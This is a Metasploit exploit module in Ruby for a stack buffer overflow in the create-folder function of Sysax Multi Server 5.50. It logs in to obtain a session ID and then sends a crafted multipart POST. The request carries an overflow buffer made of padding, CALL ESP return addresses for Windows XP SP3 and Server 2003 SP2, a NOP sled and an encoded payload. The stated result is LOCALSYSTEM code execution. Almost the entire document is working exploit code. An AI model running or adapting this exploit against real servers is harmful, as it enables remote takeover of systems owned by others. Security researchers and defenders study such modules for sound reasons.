##########################################################################################################
#Title: Sysax Multi Server 5.50 Create Folder Remote Code Exec BoF (MSF Module)
#Author: Craig Freyman (@cd1zz)
#Tested on: XP SP3 32bit and Server 2003 SP2 32bit(No DEP)
#Notes: My original exploit => https://www.exploit-db.com/exploits/18382/ 
#did not automate the SID gathering process, but this one does. Thanks to todb for the pointers.
##########################################################################################################

require 'msf/core'
require 'base64'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Sysax Multi Server 5.50 Create Folder BoF',
      'Description'  => %q{
          This module exploits a stack buffer overflow in the create folder function
          in Sysax Multi Server 5.50. This issue was fixed in 5.52.

          You must have valid credentials to trigger the vulnerability. Your credentials
          must also have the create folder permission and the HTTP option has to be enabled.
          This module will log into the server, get your a SID token and then proceed to exploit 
          the server. Successful exploits result in LOCALSYSTEM access. This exploit works on 
          XP and 2003. My original exploit did not automate the SID gathering process.
      },
      'License'  => MSF_LICENSE,
      'Author'  => 'Craig Freyman @cd1zz',
      'Version'  => '$Revision:$',
      'References'  =>
        [
          [ 'URL', 'https://www.exploit-db.com/exploits/18382/' ],
          [ 'URL', 'https://www.pwnag3.com/2012/01/sysax-multi-server-550-exploit.html' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Platform'  => 'win',
      'Payload'  =>
        {
          'BadChars' => "\x00\x2F", 
        },

      'Targets'    =>
        [
          [ 'Windows XP SP3',
            {
              'Ret'     =>  0x7C8369F0, #7C8369F0 CALL ESP kernel32.dll
              'Offset'  =>  667
            }
          ], 
          [ 'Windows Server 2003 SP2',
            {
              'Ret'     =>  0x77E5F2DF, #77E5F2DF CALL ESP kernel32.dll
              'Offset'  =>  648
            }
          ] 
        ],
      'Privileged'  => false,
      'DisclosureDate'=> 'January 15, 2012',
      'DefaultTarget'  => 0))

    register_options(
        [
          OptString.new('URI', [false, "URI for Multi Server", '/']),
          Opt::RPORT(80), 
          OptString.new('SysaxUSER', [ true, "Username" ]),
          OptString.new('SysaxPASS', [ true, "Password" ])
        ], self.class)
    
  end

  def target_url
    "https://#{rhost}:#{rport}#{datastore['URI']}"
  end

  def exploit
    
    user = datastore['SysaxUSER']
    pass = datastore['SysaxPASS']
    
    #base64 encode the credentials
    encodedcreds = Base64.encode64(user+"\x0a"+pass)
    creds = "fd="+encodedcreds

    connect

    # Login to get SID value
    print_status "Getting SID from #{target_url}"
    res = send_request_raw({
      'method'=> 'POST',
      'uri'  => "#{target_url}/scgi?sid=0&pid=dologin",
      'data'  => creds
    },20)
    
    #parse response for SID token
    sid = res.body.match (/(sid=[A-Z0-9a-z]{40})/)
    print_status "Your " + sid.to_s

    buffer =  rand_text(target['Offset'])  
    buffer << [target.ret].pack('V')  
    buffer << make_nops(50)
    buffer << payload.encoded #max 1299 bytes
    
    #pwnag3 post data
    post_data = "scgi?"+sid.to_s+"&pid=mk_folder2_name1.htm HTTP/1.1\r\n"
    post_data << "Content-Length: 171\r\n\r\n"
    post_data << "-----------------------------1190753071675116720811342231\r\n"
    post_data << "Content-Disposition: form-data; name=\"e2\"\r\n\r\n"
    post_data << buffer+"\r\n"
    post_data << "-----------------------------1190753071675116720811342231--\r\n\r\n"
    
    referer = "https://"+datastore['RHOST'].to_s+"/scgi?"+sid.to_s+"&pid=mk_folder1_name1.htm"
        
    send_request_raw({
      'uri'     => "/" + post_data,
      'version' => '1.1',
      'method'  => 'POST',
      'referer' => referer
    })

    handler
    disconnect

  end
end